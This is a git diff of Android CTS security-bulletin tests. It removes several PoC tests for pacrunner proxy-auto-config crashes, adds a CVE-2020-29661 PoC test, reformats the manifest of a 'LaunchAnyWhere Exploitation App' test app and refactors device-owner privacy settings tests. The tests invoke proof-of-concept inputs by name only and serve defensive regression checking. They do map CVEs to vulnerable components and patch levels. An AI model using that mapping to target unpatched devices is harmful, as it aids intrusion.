-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0224 extends SecurityTestCase {
-
-    /**
-     * b/147664838
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @SecurityTest(minPatchLevel = "2020-07")
-    @Test
-    public void testPocCVE_2020_0224() throws Exception {
-        AdbUtils.runProxyAutoConfig("cve_2020_0224", getDevice());
-        AdbUtils.assertNoCrashes(getDevice(), new CrashUtils.Config()
-                .setProcessPatterns("pacrunner")
-                .checkMinAddress(false)
-                .appendSignals(CrashUtils.SIGABRT));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java
deleted file mode 100644
index 352274e..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0240 extends SecurityTestCase {
-
-    /**
-     * b/150706594
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @SecurityTest(minPatchLevel = "2020-08")
-    @Test
-    public void testPocCVE_2020_0240() throws Exception {
-        String inputFiles[] = {"cve_2020_0240.pac"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0240",
-                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
new file mode 100755
index 0000000..8e603a6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_29661 extends SecurityTestCase {
+
+   /**
+     * b/182917768
+     *
+     */
+    @SecurityTest(minPatchLevel = "2021-05")
+    @Test
+    public void testPocCVE_2020_29661() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
deleted file mode 100644
index 2160aca..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0393.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0393 extends SecurityTestCase {
-
-    /**
-     * b/168041375
-     * Vulnerability Behavior: SIGSEGV in pacrunner
-     */
-    @SecurityTest(minPatchLevel = "2021-03")
-    @Test
-    public void testPocCVE_2021_0393() throws Exception {
-        pocPusher.only64();
-        AdbUtils.runProxyAutoConfig("cve_2021_0393", getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
deleted file mode 100644
index 3df46a7..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0396.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import static org.junit.Assert.assertTrue;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0396 extends SecurityTestCase {
-
-    /**
-     * b/160610106
-     * Vulnerability Behaviour: SIGSEGV in pacrunner
-     */
-    @SecurityTest(minPatchLevel = "2021-03")
-    @Test
-    public void testPocCVE_2021_0396() throws Exception {
-        AdbUtils.runProxyAutoConfig("cve_2021_0396", getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index ef5b726..45cb327 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -42,14 +42,4 @@
         }
         AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
     }
-
-    /**
-     *  b/111274046
-     */
-    @Test
-    @SecurityTest
-    public void testPocCVE_2018_9490() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index fd3b638..ae739f5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -25,37 +25,6 @@
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc19_05 extends SecurityTestCase {
-
-    /**
-     * b/129556464
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2052() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
-    /**
-     * b/129556111
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2045() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
-    /*
-     * b/129556718
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2047() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
     /**
      * CVE-2019-2257
      */
@@ -67,14 +36,4 @@
         assertFalse(result.contains(
                             "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
     }
-
-    /**
-     * b/117555811
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-05")
-    public void testPocCVE_2019_2051() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2051", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
deleted file mode 100644
index 67986fe..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_06 extends SecurityTestCase {
-
-    /**
-     * b/129556445
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-06")
-    public void testPocCVE_2019_2097() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2097", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
deleted file mode 100644
index c2ce29d..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_08 extends SecurityTestCase {
-
-    /**
-     * b/129556445
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-08")
-    public void testPocCVE_2019_2130() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2130", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
deleted file mode 100644
index a79e2b1..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_11 extends SecurityTestCase {
-
-    /**
-     * b/138441919
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-11")
-    public void testPocBug_138441919() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
-    }
-
-    /**
-     * b/139806216
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-11")
-    public void testPocBug_139806216() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
-        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index c596244..3d4ae46 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -265,17 +265,6 @@
     }
 
     /**
-     * b/74122779
-     * Vulnerability Behaviour: SIGABRT in audioserver
-     */
-    @SecurityTest(minPatchLevel = "2018-07")
-    @Test
-    public void testPocCVE_2018_9428() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
-        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
-    }
-
-    /**
      * b/64340921
      * Vulnerability Behaviour: SIGABRT in audioserver
      */
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
index 1553c92..cc95d29 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
@@ -15,30 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.security.cts.launchanywhere"
-    android:versionCode="1"
-    android:versionName="1.0">
+     package="com.android.security.cts.launchanywhere"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application android:label="LaunchAnyWhere Exploitation App">
-        <activity android:name=".StartExploit">
+        <activity android:name=".StartExploit"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <service android:name=".AuthenticatorService"
-            android:enabled="true"
-            android:exported="true">
+             android:enabled="true"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/launchanywhere_authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/launchanywhere_authenticator"/>
         </service>
 
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
index 8bd223d..ec63294 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
+++ b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
@@ -37,6 +37,8 @@
         "androidx.test.rules",
         "ub-uiautomator",
         "truth-prebuilt",
+        "cts-wm-util",
+        "DpmWrapper",
     ],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
index b70c972..049e294 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
+++ b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
@@ -15,36 +15,44 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.google.android.cts.deviceowner" >
+     package="com.google.android.cts.deviceowner">
 
-    <application
-        android:label="Privacy Settings for Device Owner CTS host side app"
-        android:testOnly="true">
+    <!-- TODO(b/176993670): needed by DevicePolicyManagerWrapper to send ordered broadcast from
+         current user to system user on devices running on headless system user mode. Should be
+         removed once tests are refactored to use the proper IPC between theses users.  -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
 
-        <uses-library android:name="android.test.runner" />
+    <application android:label="Privacy Settings for Device Owner CTS host side app"
+         android:testOnly="true">
 
-        <activity
-            android:name="com.google.android.cts.deviceowner.WorkPolicyInfoActivity"
-            android:exported="true"
-            android:launchMode="singleTask">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name="com.google.android.cts.deviceowner.WorkPolicyInfoActivity"
+             android:exported="true"
+             android:launchMode="singleTask">
             <intent-filter>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <action android:name="android.settings.SHOW_WORK_POLICY_INFO"/>
             </intent-filter>
         </activity>
 
-        <receiver
-            android:name="com.google.android.cts.deviceowner.DeviceOwnerTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.google.android.cts.deviceowner.DeviceOwnerTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
+
+         <!--  TODO(b/176993670): remove if DpmWrapperManagerWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+        </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.google.android.cts.deviceowner"
-                     android:label="Privacy Settings for Device Owner CTS tests"/>
+         android:targetPackage="com.google.android.cts.deviceowner"
+         android:label="Privacy Settings for Device Owner CTS tests"/>
 </manifest>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 3442ce1..ede4b88 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -15,6 +15,10 @@
  */
 package com.google.android.cts.deviceowner;
 
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -23,28 +27,49 @@
 import android.content.pm.PackageManager;
 import android.os.RemoteException;
 import android.provider.Settings;
+import android.server.wm.WindowManagerStateHelper;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
+
 import androidx.test.InstrumentationRegistry;
 
+import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+import com.android.compatibility.common.util.enterprise.DeviceAdminReceiverUtils;
+
 /**
  * Class for device-owner based tests.
  *
  * <p>This class handles making sure that the test is the device owner and that it has an active
  * admin registered if necessary. The admin component can be accessed through {@link #getWho()}.
  */
-public class DeviceOwnerTest extends InstrumentationTestCase {
+public final class DeviceOwnerTest extends InstrumentationTestCase {
 
-    public static final int TIMEOUT = 2000;
+    private static final String TAG = DeviceOwnerTest.class.getSimpleName();
+
+    private static final String WORK_POLICY_INFO_TEXT = "Your work policy info";
+
+    public static final int TIMEOUT_MS = 2_000;
 
     protected Context mContext;
     protected UiDevice mDevice;
 
     /** Device Admin receiver for DO. */
-    public static class BasicAdminReceiver extends DeviceAdminReceiver {
-        /* empty */
+    public static final class BasicAdminReceiver extends DeviceAdminReceiver {
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            // Ignore intents used by DpmWrapper IPC between current and system users
+            if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+
+            // Hack used to manually disable the admin during development
+            if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+
+            super.onReceive(context, intent);
+        }
     }
 
     static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName();
@@ -61,15 +86,19 @@
         mContext = getInstrumentation().getContext();
         mDevice = UiDevice.getInstance(getInstrumentation());
         mPackageManager = mContext.getPackageManager();
-        mDevicePolicyManager =
-                (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class);
 
         mIsDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
+        Log.d(TAG, "setup(): dpm=" + mDevicePolicyManager + ", isDO: " + mIsDeviceOwner);
+
         if (mIsDeviceOwner) {
-            assertTrue(mDevicePolicyManager.isAdminActive(RECEIVER_COMPONENT));
+            assertWithMessage("isAdminActive(%s)", RECEIVER_COMPONENT)
+                    .that(mDevicePolicyManager.isAdminActive(RECEIVER_COMPONENT)).isTrue();
 
             // Note DPM.getDeviceOwner() now always returns null on non-DO users as of NYC.
-            assertEquals(PACKAGE_NAME, mDevicePolicyManager.getDeviceOwner());
+            assertWithMessage("%s.getDeviceOwner()", mDevicePolicyManager)
+                    .that(mDevicePolicyManager.getDeviceOwner()).isEqualTo(PACKAGE_NAME);
         }
 
         try {
@@ -90,7 +119,7 @@
     protected void tearDown() throws Exception {
         mDevice.pressBack();
         mDevice.pressHome();
-        mDevice.waitForIdle(TIMEOUT); // give UI time to finish animating
+        mDevice.waitForIdle(TIMEOUT_MS); // give UI time to finish animating
     }
 
     private boolean launchPrivacyAndCheckWorkPolicyInfo() throws Exception {
@@ -98,16 +127,25 @@
         launchSettingsPage(InstrumentationRegistry.getContext(), Settings.ACTION_PRIVACY_SETTINGS);
 
         // Wait for loading permission usage data.
-        mDevice.waitForIdle(TIMEOUT);
+        mDevice.waitForIdle(TIMEOUT_MS);
 
-        return (null != mDevice.wait(Until.findObject(By.text("Your work policy info")), TIMEOUT));
+        Log.d(TAG, "Waiting " + TIMEOUT_MS + "ms for the '" + WORK_POLICY_INFO_TEXT + "' message");
+
+        return (null != mDevice.wait(Until.findObject(By.text(WORK_POLICY_INFO_TEXT)), TIMEOUT_MS));
     }
 
     private void launchSettingsPage(Context ctx, String pageName) throws Exception {
         Intent intent = new Intent(pageName);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+        ComponentName componentName =
+                ctx.getPackageManager()
+                        .resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY)
+                        .getComponentInfo()
+                        .getComponentName();
         ctx.startActivity(intent);
-        Thread.sleep(TIMEOUT * 2);
+
+        new WindowManagerStateHelper().waitForActivityState(componentName, STATE_RESUMED);
     }
 
     private void disableWorkPolicyInfoActivity() {
@@ -118,15 +156,24 @@
                         PackageManager.DONT_KILL_APP);
     }
 
+    private void launchPrivacySettingsAndAssertWorkPolicyInfoIsShowing() throws Exception {
+        assertWithMessage("Work policy info (%s) on settings entry", WORK_POLICY_INFO_TEXT)
+                .that(launchPrivacyAndCheckWorkPolicyInfo()).isTrue();
+    }
+
+    private void launchPrivacySettingsAndAssertWorkPolicyInfoIsNotShowing() throws Exception {
+        assertWithMessage("Work policy info (%s) on settings entry", WORK_POLICY_INFO_TEXT)
+                .that(launchPrivacyAndCheckWorkPolicyInfo()).isFalse();
+    }
+
     /**
      * If the app is the active device owner and has work policy info, then we should have a Privacy
      * entry for it.
      */
     public void testDeviceOwnerWithInfo() throws Exception {
-        assertTrue(mIsDeviceOwner);
-        assertTrue(
-                "Couldn't find work policy info settings entry",
-                launchPrivacyAndCheckWorkPolicyInfo());
+        assertWithMessage("is device owner").that(mIsDeviceOwner).isTrue();
+
+        launchPrivacySettingsAndAssertWorkPolicyInfoIsShowing();
     }
 
     /**
@@ -134,11 +181,11 @@
      * have a Privacy entry for it.
      */
     public void testDeviceOwnerWithoutInfo() throws Exception {
-        assertTrue(mIsDeviceOwner);
+        assertWithMessage("is device owner").that(mIsDeviceOwner).isTrue();
+
         disableWorkPolicyInfoActivity();
-        assertFalse(
-                "Work policy info settings entry shouldn't be present",
-                launchPrivacyAndCheckWorkPolicyInfo());
+
+        launchPrivacySettingsAndAssertWorkPolicyInfoIsNotShowing();
     }
 
     /**
@@ -146,10 +193,9 @@
      * policy info.
      */
     public void testNonDeviceOwnerWithInfo() throws Exception {
-        assertFalse(mIsDeviceOwner);
-        assertFalse(
-                "Work policy info settings entry shouldn't be present",
-                launchPrivacyAndCheckWorkPolicyInfo());
+        assertWithMessage("is device owner").that(mIsDeviceOwner).isFalse();
+
+        launchPrivacySettingsAndAssertWorkPolicyInfoIsNotShowing();
     }
 
     /**
@@ -157,10 +203,10 @@
      * not have a Privacy entry for work policy info.
      */
     public void testNonDeviceOwnerWithoutInfo() throws Exception {
-        assertFalse(mIsDeviceOwner);
+        assertWithMessage("is device owner").that(mIsDeviceOwner).isFalse();
+
         disableWorkPolicyInfoActivity();
-        assertFalse(
-                "Work policy info settings entry shouldn't be present",
-                launchPrivacyAndCheckWorkPolicyInfo());
+
+        launchPrivacySettingsAndAssertWorkPolicyInfoIsNotShowing();
     }
 }
diff --git a/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
index da7d873..8bac012 100644
--- a/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
+++ b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
@@ -21,6 +21,7 @@
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.CollectingTestListener;
 import com.android.tradefed.result.TestDescription;
@@ -47,6 +48,9 @@
     private static final String ADMIN_RECEIVER_TEST_CLASS = ".DeviceOwnerTest$BasicAdminReceiver";
     private static final String CLEAR_DEVICE_OWNER_TEST_CLASS = ".ClearDeviceOwnerTest";
 
+    // TODO (b/174775905) move to ITestDevice.
+    private static final int USER_SYSTEM = 0;
+
     /**
      * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
      * command output from the device. At any time, if the shell command does not output anything
@@ -66,6 +70,9 @@
     protected boolean mHasFeature;
     protected IBuildInfo mCtsBuild;
 
+    private int mDeviceOwnerUserId;
+    private int mTestUserId;
+
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mCtsBuild = buildInfo;
@@ -76,8 +83,19 @@
         super.setUp();
 
         mHasFeature = hasDeviceFeature("android.software.device_admin");
-        if (mHasFeature) {
-            installPackage(DEVICE_OWNER_APK);
+        if (!mHasFeature) return;
+
+        mTestUserId = getDevice().getCurrentUser();
+        if (isHeadlessSystemUserMode()) {
+            mDeviceOwnerUserId = USER_SYSTEM;
+        } else {
+            mDeviceOwnerUserId = mTestUserId;
+        }
+
+        installPackage(mDeviceOwnerUserId, DEVICE_OWNER_APK);
+
+        if (isHeadlessSystemUserMode()) {
+            grantDpmWrapperPermissions(mTestUserId);
         }
     }
 
@@ -137,20 +155,22 @@
                 runDeviceTests(DEVICE_OWNER_PKG, testClass, testMethodName));
     }
 
-    protected void installPackage(String appFileName)
+    protected void installPackage(int userId, String appFileName)
             throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.d("Installing app " + appFileName);
+        CLog.d("Installing app %s on user %d", appFileName, userId);
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         List<String> extraArgs = new LinkedList<>();
         extraArgs.add("-t");
         String result =
                 getDevice()
-                        .installPackage(
+                        .installPackageForUser(
                                 buildHelper.getTestFile(appFileName),
                                 true,
                                 true,
+                                userId,
                                 extraArgs.toArray(new String[extraArgs.size()]));
-        assertNull("Failed to install " + appFileName + ": " + result, result);
+        assertNull("Failed to install " + appFileName + " on user " + userId + ": " + result,
+                result);
     }
 
     protected boolean runDeviceTests(
@@ -172,7 +192,9 @@
         }
 
         CollectingTestListener listener = new CollectingTestListener();
-        boolean runResult = getDevice().runInstrumentationTests(testRunner, listener);
+        CLog.i("Running %s.%s on user %d", testClassName, testMethodName, mTestUserId);
+        boolean runResult = getDevice().runInstrumentationTestsAsUser(testRunner, mTestUserId,
+                listener);
 
